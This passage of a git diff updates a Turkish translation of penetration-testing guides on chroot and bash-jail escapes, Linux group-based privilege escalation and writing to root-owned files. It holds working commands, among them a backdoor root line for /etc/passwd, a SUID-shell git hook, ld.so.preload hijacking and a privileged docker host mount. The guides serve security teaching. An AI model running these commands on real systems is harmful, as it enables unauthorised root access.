+* **Hacking püf noktalarını paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
+{% endhint %} ## **GTFOBins** -**"Shell" özelliğine sahip herhangi bir binary'i çalıştırabilir misiniz diye** [**https://gtfobins.github.io/**](https://gtfobins.github.io) **adresinde arama yapın** +**"Shell" özelliğine sahip herhangi bir ikili dosyayı çalıştırabilir misiniz diye** [**https://gtfobins.github.io/**](https://gtfobins.github.io) **adresinde arama yapın** ## Chroot Kaçışları -[wikipedia](https://en.wikipedia.org/wiki/Chroot#Limitations)'dan: Chroot mekanizması, **açık** (**root**) **kullanıcılar** tarafından **kasıtlı müdahalelere karşı korunmak amacıyla tasarlanmamıştır**. Çoğu sistemde, chroot bağlamları düzgün bir şekilde yığılmaz ve yeterli ayrıcalıklara sahip chrooted programlar **kırılmak için ikinci bir chroot gerçekleştirebilir**.\ -Genellikle bu, kaçmak için chroot içinde root olmanız gerektiği anlamına gelir. +[wikipedia](https://en.wikipedia.org/wiki/Chroot#Limitations) **sitesinden**: Chroot mekanizması, **açık** (**root**) **kullanıcılar** tarafından **kasıtlı müdahalelere karşı korunmak için tasarlanmamıştır**. Çoğu sistemde, chroot bağlamları düzgün bir şekilde yığılmaz ve yeterli ayrıcalıklara sahip chrooted programlar **kırılmak için ikinci bir chroot gerçekleştirebilir**.\ +Genellikle bu, kaçmak için chroot içinde kök olmanız gerektiği anlamına gelir. {% hint style="success" %} **Araç** [**chw00t**](https://github.com/earthquake/chw00t) aşağıdaki senaryoları kötüye kullanmak ve `chroot`tan kaçmak için oluşturulmuştur. @@ -30,12 +31,12 @@ Genellikle bu, kaçmak için chroot içinde root olmanız gerektiği anlamına g ### Root + CWD {% hint style="warning" %} -Eğer bir chroot içinde **root** iseniz, **başka bir chroot oluşturarak kaçabilirsiniz**. Bu, 2 chroot'un aynı anda var olamayacağı anlamına gelir (Linux'ta), bu yüzden yeni bir klasör oluşturursanız ve ardından **bu yeni klasörde yeni bir chroot oluşturursanız ve siz dışında kalırsanız**, artık **yeni chroot'un dışında olacaksınız** ve dolayısıyla FS içinde olacaksınız. +Eğer bir chroot içinde **kök** iseniz, **başka bir chroot oluşturarak kaçabilirsiniz**. Bu, 2 chroot'un aynı anda var olamayacağı (Linux'ta) için geçerlidir, bu yüzden yeni bir klasör oluşturursanız ve ardından **dışında olacak şekilde** bu yeni klasörde **yeni bir chroot oluşturursanız**, artık **yeni chroot'un dışında olacaksınız** ve dolayısıyla FS içinde olacaksınız. -Bu genellikle chroot'un çalışma dizinini belirtilene taşımaz, bu yüzden bir chroot oluşturabilirsiniz ancak dışında kalabilirsiniz. +Bu genellikle chroot'un çalışma dizinini belirtilene taşımaz, bu yüzden bir chroot oluşturabilirsiniz ancak dışında olabilirsiniz. {% endhint %} -Genellikle bir chroot hapishanesi içinde `chroot` binary'sini bulamazsınız, ancak bir binary derleyip yükleyip çalıştırabilirsiniz: +Genellikle bir chroot hapishanesi içinde `chroot` ikili dosyasını bulamazsınız, ancak bir ikili dosya derleyebilir, yükleyebilir ve çalıştırabilirsiniz:
@@ -90,10 +91,10 @@ system("/bin/bash"); ```
-### Root + Kaydedilen fd +### Root + Kayıtlı fd {% hint style="warning" %} -Bu, önceki duruma benzer, ancak bu durumda **saldırgan mevcut dizine bir dosya tanımlayıcısı kaydeder** ve ardından **yeni bir klasörde chroot oluşturur**. Son olarak, chroot dışında **FD'ye erişimi olduğundan**, buna erişir ve **kaçar**. +Bu, önceki duruma benzer, ancak bu durumda **saldırgan bir dosya tanımlayıcısını mevcut dizine kaydeder** ve ardından **yeni bir klasörde chroot oluşturur**. Son olarak, chroot dışında **FD'ye erişimi olduğundan**, ona erişir ve **kaçar**. {% endhint %}
@@ -124,20 +125,20 @@ chroot("."); ### Root + Fork + UDS (Unix Domain Sockets) {% hint style="warning" %} -FD, Unix Domain Sockets üzerinden iletilir, bu yüzden: +FD Unix Domain Sockets üzerinden iletilir, bu yüzden: -* Bir çocuk işlem oluştur (fork) -* Parent ve çocuğun iletişim kurabilmesi için UDS oluştur -* Çocuk işlemin farklı bir klasörde chroot çalıştır -* Parent işlemde, yeni çocuk işlem chroot'unun dışında olan bir klasörün FD'sini oluştur -* UDS kullanarak o FD'yi çocuk işleme ilet -* Çocuk işlem o FD'ye chdir yapar ve chroot'un dışında olduğu için hapisten kaçar +* Bir çocuk süreç oluştur (fork) +* Ebeveyn ve çocuğun iletişim kurabileceği UDS oluştur +* Çocuk süreçte farklı bir klasörde chroot çalıştır +* Ebeveyn süreçte, yeni çocuk sürecin chroot'unun dışında olan bir klasörün FD'sini oluştur +* UDS kullanarak o FD'yi çocuk sürece ilet +* Çocuk süreç o FD'ye chdir yapar ve chroot'unun dışında olduğundan hapisten kaçar {% endhint %} ### Root + Mount {% hint style="warning" %} -* Root cihazını (/) chroot içindeki bir dizine bağlama +* Kök cihazını (/) chroot içinde bir dizine bağlama * Bu dizine chroot yapma Bu Linux'ta mümkündür @@ -146,24 +147,24 @@ Bu Linux'ta mümkündür ### Root + /proc {% hint style="warning" %} -* Procfs'i chroot içindeki bir dizine bağla (henüz bağlı değilse) -* Farklı bir root/cwd girişi olan bir pid ara, örneğin: /proc/1/root +* Procfs'i chroot içinde bir dizine bağla (henüz bağlı değilse) +* Farklı bir kök/cwd girişi olan bir pid ara, örneğin: /proc/1/root * Bu girişe chroot yap {% endhint %} ### Root(?) + Fork {% hint style="warning" %} -* Bir Fork (çocuk işlem) oluştur ve FS içinde daha derin bir klasöre chroot yap ve ona CD yap -* Parent işleminden, çocuk işleminin bulunduğu klasörü, çocukların chroot'unun öncesindeki bir klasöre taşı -* Bu çocuk işlem, kendisini chroot'un dışında bulacaktır +* Bir Fork oluştur (çocuk süreç) ve FS içinde daha derin bir klasöre chroot yap ve ona CD yap +* Ebeveyn süreçten, çocuk sürecin bulunduğu klasörü çocukların chroot'unun öncesindeki bir klasöre taşı +* Bu çocuk süreç chroot'un dışında bulacaktır kendisini {% endhint %} ### ptrace {% hint style="warning" %} -* Kullanıcılar zamanında kendi işlemlerini kendi işlemlerinden hata ayıklayabilirdi... ancak artık varsayılan olarak bu mümkün değil -* Yine de, mümkünse, bir işleme ptrace yapabilir ve içinde bir shellcode çalıştırabilirsiniz ([bu örneğe bakın](linux-capabilities.md#cap\_sys\_ptrace)). +* Kullanıcılar zamanında kendi süreçlerini kendi süreçlerinden hata ayıklayabilirdi... ancak artık varsayılan olarak bu mümkün değil +* Yine de, mümkünse, bir sürece ptrace yapabilir ve içinde bir shellcode çalıştırabilirsiniz ([bu örneğe bakın](linux-capabilities.md#cap\_sys\_ptrace)). {% endhint %} ## Bash Hapishaneleri @@ -180,20 +181,20 @@ pwd ``` ### PATH Değiştirme -PATH ortam değişkenini değiştirip değiştiremediğinizi kontrol edin +PATH ortam değişkenini değiştirip değiştiremeyeceğinizi kontrol edin. ```bash echo $PATH #See the path of the executables that you can use PATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin #Try to change the path echo /home/* #List directory ``` -### vim Kullanarak +### vim Kullanımı ```bash :set shell=/bin/sh :shell ``` ### Betik oluştur -Eğer içeriği _/bin/bash_ olan yürütülebilir bir dosya oluşturabilir misiniz kontrol edin. +_/bin/bash_ içeriğine sahip yürütülebilir bir dosya oluşturabilir misiniz kontrol edin ```bash red /bin/bash > w wx/path #Write /bin/bash in a writable and executable path @@ -245,16 +246,16 @@ Bu sayfada lua içinde erişebileceğiniz global fonksiyonları bulabilirsiniz: ```bash load(string.char(0x6f,0x73,0x2e,0x65,0x78,0x65,0x63,0x75,0x74,0x65,0x28,0x27,0x6c,0x73,0x27,0x29))() ``` -Bir kütüphanenin fonksiyonlarını **noktalar kullanmadan çağırmak için bazı hileler**: +Bir kütüphanenin fonksiyonlarını **noktalar kullanmadan çağırmak** için bazı hileler: ```bash print(string.char(0x41, 0x42)) print(rawget(string, "char")(0x41, 0x42)) ``` -Belirli bir kütüphanenin fonksiyonlarını sırala: +### Kütüphanenin fonksiyonlarını sıralama: ```bash for k,v in pairs(string) do print(k,v) end ``` -Her seferinde önceki tek satırlığı **farklı bir lua ortamında çalıştırdığınızda fonksiyonların sırası değişir**. Dolayısıyla belirli bir fonksiyonu çalıştırmanız gerekiyorsa, farklı lua ortamlarını yükleyerek ve le kütüphanesinin ilk fonksiyonunu çağırarak brute force saldırısı gerçekleştirebilirsiniz: +Not alın ki her seferinde önceki tek satırlık komutu **farklı bir lua ortamında çalıştırdığınızda fonksiyonların sırası değişir**. Dolayısıyla belirli bir fonksiyonu çalıştırmanız gerekiyorsa, farklı lua ortamlarını yükleyerek ve le kütüphanesinin ilk fonksiyonunu çağırarak kaba kuvvet saldırısı gerçekleştirebilirsiniz: ```bash #In this scenario you could BF the victim that is generating a new lua environment #for every interaction with the following line and when you are lucky @@ -265,7 +266,7 @@ for k,chr in pairs(string) do print(chr(0x6f,0x73,0x2e,0x65,0x78)) end #and "char" from string library, and the use both to execute a command for i in seq 1000; do echo "for k1,chr in pairs(string) do for k2,exec in pairs(os) do print(k1,k2) print(exec(chr(0x6f,0x73,0x2e,0x65,0x78,0x65,0x63,0x75,0x74,0x65,0x28,0x27,0x6c,0x73,0x27,0x29))) break end break end" | nc 10.10.10.10 10006 | grep -A5 "Code: char"; done ``` -**Etkileşimli lua kabuğu alın**: Eğer sınırlı bir lua kabuğu içindeyseniz, aşağıdaki komutu kullanarak yeni bir lua kabuğu alabilirsiniz (ve umarım sınırsız olur): +**Etkileşimli lua kabuğu alın**: Eğer sınırlı bir lua kabuğunun içindeyseniz, aşağıdaki komutu kullanarak yeni bir lua kabuğu alabilirsiniz (ve umarım sınırsızdır): ```bash debug.debug() ``` @@ -273,16 +274,17 @@ debug.debug() * [https://www.youtube.com/watch?v=UO618TeyCWo](https://www.youtube.com/watch?v=UO618TeyCWo) (Slaytlar: [https://deepsec.net/docs/Slides/2015/Chw00t\_How\_To\_Break%20Out\_from\_Various\_Chroot\_Solutions\_-\_Bucsay\_Balazs.pdf](https://deepsec.net/docs/Slides/2015/Chw00t\_How\_To\_Break%20Out\_from\_Various\_Chroot\_Solutions\_-\_Bucsay\_Balazs.pdf)) +{% hint style="success" %} +AWS Hacking'ini öğrenin ve uygulayın: [**HackTricks Eğitimi AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking'ini öğrenin ve uygulayın: [**HackTricks Eğitimi GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)! +HackTricks'i Destekleyin -HackTricks'ı desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu -* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da takip edin.** -* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** +* Hacking püf noktalarını paylaşarak PR'ler göndererek **HackTricks** ve **HackTricks Cloud** github depolarına katkıda bulunun.
+{% endhint %} diff --git a/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md b/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md index c32cb2b6e..501ce3ebc 100644 --- a/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md +++ b/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md @@ -1,24 +1,25 @@ # İlginç Gruplar - Linux İzin Yükseltme +{% hint style="success" %} +AWS Hacking'i öğrenin ve uygulayın: [**HackTricks Eğitimi AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking'i öğrenin ve uygulayın: [**HackTricks Eğitimi GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-Sıfırdan kahraman olana kadar AWS hacklemeyi öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)! +HackTricks'i Destekleyin -HackTricks'ı desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.** -* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarını paylaşarak PR göndererek HackTricks** ve **HackTricks Cloud** github depolarına katkıda bulunun.
+{% endhint %} ## Sudo/Yönetici Grupları ### **PE - Yöntem 1** -**Bazen**, **varsayılan olarak (veya bazı yazılımların ihtiyaç duyması nedeniyle)** **/etc/sudoers** dosyasının içinde bu satırlardan bazılarını bulabilirsiniz: +**Bazen**, **varsayılan olarak (veya bazı yazılımların ihtiyaç duyması nedeniyle)** **/etc/sudoers** dosyasının içinde bu tür satırları bulabilirsiniz: ```bash # Allow members of group sudo to execute any command %sudo ALL=(ALL:ALL) ALL @@ -28,7 +29,7 @@ HackTricks'ı desteklemenin diğer yolları: ``` Bu, **sudo veya admin grubuna ait herhangi bir kullanıcının sudo olarak herhangi bir şeyi çalıştırabileceği anlamına gelir**. -Bu durumda, **root olmak için sadece şunu çalıştırabilirsiniz**: +Eğer durum buysa, **root olmak için sadece şunu çalıştırabilirsiniz**: ``` sudo su ``` @@ -39,11 +40,11 @@ Tüm suid ikili dosyaları bulun ve **Pkexec** ikilisinin olup olmadığını ko find / -perm -4000 2>/dev/null ``` Eğer **pkexec** ikili dosyasının bir SUID ikili dosyası olduğunu ve **sudo** veya **admin** grubuna ait olduğunuzu tespit ederseniz, muhtemelen `pkexec` kullanarak ikili dosyaları sudo olarak çalıştırabilirsiniz.\ -Bu genellikle **polkit politikası** içindeki gruplardır. Bu politika genellikle hangi grupların `pkexec`'i kullanabileceğini belirler. Şununla kontrol edin: +Bu genellikle **polkit politikası** içindeki gruplardır. Bu politika genellikle hangi grupların `pkexec`'i kullanabileceğini belirler. Bunu kontrol etmek için: ```bash cat /etc/polkit-1/localauthority.conf.d/* ``` -Aşağıda, hangi grupların **pkexec**'i çalıştırmasına izin verildiğini ve bazı Linux dağıtımlarında varsayılan olarak **sudo** ve **admin** gruplarının göründüğünü bulacaksınız. +Aşağıda, hangi grupların **pkexec**'i **ve varsayılan olarak** bazı linux dağıtımlarında **sudo** ve **admin** gruplarının göründüğünü bulacaksınız. **Root olmak için şunu çalıştırabilirsiniz**: ```bash @@ -92,9 +93,9 @@ sudo su ``` ## Personel Grubu -**staff**: Kullanıcılara kök ayrıcalıklarına ihtiyaç duymadan sistemdeki (`/usr/local`) yerel değişiklikler eklemelerine izin verir (`/usr/local/bin` dizinindeki yürütülebilir dosyalar, aynı isme sahip `/bin` ve `/usr/bin` dizinlerindeki yürütülebilir dosyaları "geçersiz kılabilir"). İzleme/güvenlik ile daha fazla ilgili olan "adm" grubu ile karşılaştırın. [\[kaynak\]](https://wiki.debian.org/SystemGroups) +**staff**: Kullanıcılara kök ayrıcalıklarına ihtiyaç duymadan sistemde yerel değişiklikler yapma izni verir (`/usr/local`) (not olarak `/usr/local/bin` dizinindeki yürütülebilir dosyalar, aynı isme sahip `/bin` ve `/usr/bin` dizinlerindeki yürütülebilir dosyaları "geçersiz kılabilir"). İzleme/güvenlik ile daha fazla ilgili olan "adm" grubu ile karşılaştırın. [\[kaynak\]](https://wiki.debian.org/SystemGroups) -Debian dağıtımlarında, `$PATH` değişkeni, ayrıcalıklı kullanıcı olup olmadığınıza bakılmaksızın `/usr/local/`'in en yüksek öncelikle çalıştırılacağını gösterir. +Debian dağıtımlarında, `$PATH` değişkeni `/usr/local/`'in, ayrıcalıklı kullanıcı olup olmadığınıza bakılmaksızın en yüksek önceliğe sahip olacağını gösterir. ```bash $ echo $PATH /usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games @@ -102,7 +103,7 @@ $ echo $PATH # echo $PATH /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin ``` -Eğer `/usr/local` dizinindeki bazı programları ele geçirebilirsek, kök erişim elde etmek kolay olacaktır. +Eğer `/usr/local` içindeki bazı programları ele geçirebilirsek, kök erişim elde etmek kolay olacaktır. `run-parts` programını ele geçirmek, kök erişim elde etmenin kolay bir yoludur, çünkü birçok program `run-parts` benzeri bir programı çalıştıracaktır (crontab, ssh girişi yapıldığında). ```bash @@ -174,14 +175,22 @@ moshe pts/1 10.10.14.44 02:53 24:07 0.06s 0.06s /bin/bash ``` **tty1**, kullanıcının makinedeki bir terminalde **fiziksel olarak oturum açtığı** anlamına gelir. -**video grubu**, ekran çıktısını görüntüleme iznine sahiptir. Temelde ekranları gözlemleyebilirsiniz. Bunun için ekranın mevcut görüntüsünü ham veri olarak **almanız** ve ekranın kullandığı çözünürlüğü elde etmeniz gerekir. Ekran verisi `/dev/fb0`'da kaydedilebilir ve bu ekranın çözünürlüğünü `/sys/class/graphics/fb0/virtual_size` üzerinde bulabilirsiniz. +**video grubu**, ekran çıktısını görüntüleme erişimine sahiptir. Temelde ekranları gözlemleyebilirsiniz. Bunun için ekranın mevcut görüntüsünü ham veri olarak **almanız** ve ekranın kullandığı çözünürlüğü almanız gerekir. Ekran verisi `/dev/fb0`'da kaydedilebilir ve bu ekranın çözünürlüğünü `/sys/class/graphics/fb0/virtual_size` üzerinde bulabilirsiniz. ```bash cat /dev/fb0 > /tmp/screen.raw cat /sys/class/graphics/fb0/virtual_size ``` -**Kök Grubu** +**Raw görüntüyü** açmak için **GIMP** kullanabilirsiniz, \*\*`screen.raw` \*\* dosyasını seçin ve dosya türünü **Ham görüntü verisi** olarak seçin: -Varsayılan olarak, kök grubu üyelerinin bazı hizmet yapılandırma dosyalarını veya bazı kütüphane dosyalarını değiştirme erişimine sahip olabileceği veya ayrıcalıkları yükseltmek için kullanılabilecek **diğer ilginç şeyler** olabileceği görünüyor... +![](<../../../.gitbook/assets/image (463).png>) + +Ardından Genişlik ve Yüksekliği ekranda kullanılanlara değiştirin ve farklı Görüntü Türlerini kontrol edin (ve ekranda daha iyi gösterenini seçin): + +![](<../../../.gitbook/assets/image (317).png>) + +## Kök Grup + +Varsayılan olarak **kök grubun üyelerinin**, **hizmet** yapılandırma dosyalarını veya bazı **kütüphane** dosyalarını değiştirme erişimine sahip olabileceği veya ayrıcalıkları yükseltmek için kullanılabilecek **diğer ilginç şeyler** olabileceği görünüyor... **Kök üyelerin hangi dosyaları değiştirebileceğini kontrol edin**: ```bash @@ -201,18 +210,6 @@ echo 'toor:$1$.ZcF5ts0$i4k6rQYzeegUkacRCvfxC0:0:0:root:/root:/bin/sh' >> /etc/pa #Ifyou just want filesystem and network access you can startthe following container: docker run --rm -it --pid=host --net=host --privileged -v /:/mnt chroot /mnt bashbash ``` -Son olarak, önceki önerilerden hiçbirini beğenmediyseniz veya bir nedenle çalışmıyorsa (docker api firewall?) her zaman şu işlemi deneyebilirsiniz: **ayrıcalıklı bir konteyner çalıştırın ve ondan kaçın** burada açıklandığı gibi: - -{% content-ref url="../docker-security/" %} -[docker-security](../docker-security/) -{% endcontent-ref %} - -Docker soketi üzerinde yazma izinleriniz varsa [**docker soketini kötüye kullanarak ayrıcalıkları yükseltme hakkında bu yazıyı okuyun**](../#writable-docker-socket)**.** - -{% embed url="https://github.com/KrustyHack/docker-privilege-escalation" %} - -{% embed url="https://fosterelli.co/privilege-escalation-via-docker.html" %} - ## lxc/lxd Grubu {% content-ref url="./" %} @@ -221,24 +218,10 @@ Docker soketi üzerinde yazma izinleriniz varsa [**docker soketini kötüye kull ## Adm Grubu -Genellikle **`adm`** grubunun **üyeleri** _/var/log/_ dizinindeki **logları okuma** iznine sahiptir.\ +Genellikle **`adm`** grubunun **üyeleri** _/var/log/_ dizininde bulunan **logları okuma** iznine sahiptir.\ Bu nedenle, bu gruptaki bir kullanıcıyı ele geçirdiyseniz kesinlikle **loglara bakmalısınız**. ## Auth Grubu OpenBSD içinde **auth** grubu genellikle _**/etc/skey**_ ve _**/var/db/yubikey**_ dizinlerine yazma iznine sahiptir.\ -Bu izinler, aşağıdaki açığı kötüye kullanarak kök ayrıcalıklarına **yükseltilebilir**: [https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot](https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot) - -
- -Sıfırdan başlayarak AWS hacklemeyi öğrenin htARTE (HackTricks AWS Red Team Expert)! - -HackTricks'ı desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! -* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com) -* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.** -* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. - -
+Bu izinler, aşağıdaki açığı kullanarak kök ayrıcalıklarına **yükseltmek** için istismar edilebilir: [https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot](https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot) diff --git a/linux-hardening/privilege-escalation/write-to-root.md b/linux-hardening/privilege-escalation/write-to-root.md index b23301f4b..b946cd5da 100644 --- a/linux-hardening/privilege-escalation/write-to-root.md +++ b/linux-hardening/privilege-escalation/write-to-root.md @@ -1,23 +1,24 @@ -# Kök Klasöre Dosya Yazma +# Kök Dizinine Dosya Yazma + +{% hint style="success" %} +AWS Hacking'i öğrenin ve uygulayın:[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking'i öğrenin ve uygulayın: [**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-AWS hackleme konusunu sıfırdan ileri seviyeye öğrenin htARTE (HackTricks AWS Red Team Expert) ile! +HackTricks'i Destekleyin -HackTricks'ı desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu -* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.** -* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarını paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
+{% endhint %} ### /etc/ld.so.preload Bu dosya, **`LD_PRELOAD`** ortam değişkeni gibi davranır ancak aynı zamanda **SUID ikili dosyalarında** da çalışır.\ -Eğer bu dosyayı oluşturabilir veya değiştirebilirseniz, her yürütülen ikili dosyayla birlikte yüklenecek bir **kütüphane yolunu ekleyebilirsiniz**. +Oluşturabilir veya değiştirebilirseniz, her yürütülen ikili dosya ile yüklenecek bir **kütüphane yolunu ekleyebilirsiniz**. Örneğin: `echo "/tmp/pe.so" > /etc/ld.so.preload` ```c @@ -36,23 +37,40 @@ system("/bin/bash"); ``` ### Git kancaları -[**Git kancaları**](https://git-scm.com/book/en/v2/Customizing-Git-Git-Hooks), bir **dizin** oluşturulduğunda veya bir birleştirme işlemi gerçekleştiğinde gibi bir git deposundaki çeşitli **olaylar** üzerinde **çalıştırılan** **betiklerdir**. Dolayısıyla, bir **özelliği olan betik veya kullanıcı** bu işlemleri sıkça gerçekleştiriyorsa ve `.git` klasörüne **yazma izni** varsa, bu **ağır ayrıcalık yükseltme** için kullanılabilir. +[**Git kancaları**](https://git-scm.com/book/en/v2/Customizing-Git-Git-Hooks), bir taahhüt oluşturulduğunda, birleştirme yapıldığında gibi bir git deposundaki çeşitli olaylarda çalıştırılan **betiklerdir**. Dolayısıyla, bir **ayrıcalıklı betik veya kullanıcı** bu eylemleri sıkça gerçekleştiriyorsa ve `.git` klasörüne **yazma izni** varsa, bu **ayrıcalık yükseltmesi** için kullanılabilir. -Örneğin, bir yeni bir işlem oluşturulduğunda her zaman çalıştırılan bir betik oluşturmak mümkündür: +Örneğin, bir yeni taahhüt oluşturulduğunda her zaman çalıştırılan bir betik oluşturmak mümkündür: {% code overflow="wrap" %} ```bash echo -e '#!/bin/bash\n\ncp /bin/bash /tmp/0xdf\nchown root:root /tmp/0xdf\nchmod 4777 /tmp/b' > pre-commit chmod +x pre-commit ``` -### Cron & Zaman Dosyaları +{% endcode %} + +### Cron ve Zaman Dosyaları TODO -### Servis & Soket Dosyaları +### Servis ve Soket Dosyaları TODO ### binfmt\_misc -`/proc/sys/fs/binfmt_misc` konumunda bulunan dosya, hangi tür dosyanın hangi ikili dosyanın çalıştırılması gerektiğini belirtir. TODO: Bir yaygın dosya türü açıldığında bir ters shell çalıştırmak için bunu kötüye kullanmak için gereksinimleri kontrol edin. +`/proc/sys/fs/binfmt_misc` konumunda bulunan dosya, hangi ikili dosyanın hangi tür dosyaları çalıştırması gerektiğini gösterir. TODO: Bu dosyayı kötüye kullanmak için gereksinimleri kontrol edin ve yaygın bir dosya türü açıldığında bir ters shell çalıştırmak için bunu nasıl kullanabilirsiniz. + +{% hint style="success" %} +AWS Hacking'i öğrenin ve uygulayın:[**HackTricks Eğitimi AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking'i öğrenin ve uygulayın: [**HackTricks Eğitimi GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte) + +
+ +HackTricks'i Destekleyin + +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.** +* **Hacking püf noktalarını paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. + +
